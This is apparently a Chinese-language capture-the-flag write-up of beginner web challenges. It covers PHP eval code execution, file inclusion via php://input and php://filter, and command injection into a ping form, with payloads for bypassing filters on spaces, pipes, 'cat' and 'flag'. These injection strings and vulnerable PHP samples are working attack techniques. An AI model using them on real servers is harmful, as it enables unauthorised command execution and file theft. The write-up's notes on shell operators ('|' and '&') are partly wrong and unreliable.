目录
【攻防世界】web新手区 command_execution
eval执行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
先查看下目录
/?cmd=system('ls');
看来这一级啥都没有,那我们看看上一级文件夹
/?cmd=system('ls /');
打开flag,注意打开的是下一级
/?cmd=system('cat /flag_30311');
文件包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
点开shell
strpos漏洞
- strpos — 查找字符串首次出现的位置
- strpos 函数返回查找到的子字符串的下标。如果字符串开头就是我们要搜索的目标,则返回下标 0 ;如果搜索不到,则返回 false
request = post + get
查看根目录
index.php shell.txt
那我们查看上一级目录
bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
查看那一级的flag
php://input
php:// — 访问各个输入/输出流
php://input 是个可以访问请求的原始数据的只读流.
可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。
先进行抓包
本级目录没有,查看上一级目录
查看就行了
读取源代码
看题目,发现不能用input了
/?file=php://filter/read=convert.base64-encode/resource=/flag
远程包含
还是一样
命令注入
先输入127.0.0.1试试,有回显
查看下目录
打开这个文件,却发现打不开
新学一种方法
应该是文件中包含特殊字符,使用管道运行base64加密内容
127.0.0.1 & cat *.php | base64
解码出flag
命令注入-过滤cat
127.0.0.1 & tac *.php | base64
命令注入-过滤空格
空格用/**/代替
也可以127.0.0.1|ls
空格用<代替
127.0.0.1|cat<flag_32332039011989.php|base64
解码得到flag
掌握有关命令执行的知识 windows 或 linux 下:
command1 && command2 先执行 command1,如果为真,再执行 command2
command1 | command2 只执行 command2
command1 & command2 先执行 command2 后执行 command1
command1 || command2 先执行 command1,如果为假,再执行 command2
【攻防世界】web新手区 command_execution
先输入一个127.0.0.1看回显
127.0.0.1 && ls 看目录
直接捕获flag试试
查看这个文件,出flag
注意:cat和目录之间有空格
过滤目录分隔符
127.0.0.1|ls
127.0.0.1;cd flag_is_here;ls
127.0.0.1;cd flag_is_here;tac flag_210667739624.php|base64
解码即可
过滤运算符
我用;
过滤了管道符|,不能再使用了
base64 1.php 与****|base64是等价的
12.0.0.1 ; base64 flag_27475302269053.php
解码即可
综合过滤练习
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
前面的全都过滤
空格用%09代替
flag用f***
cat用tac
linux下 命令分隔符除了;还有%0a
因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码
?ip=127.0.0.1%0acd%09f***_is_here%0als#
?ip=127.0.0.1%0acd%09f***_is_here%0abase64%09*.php#
解码即可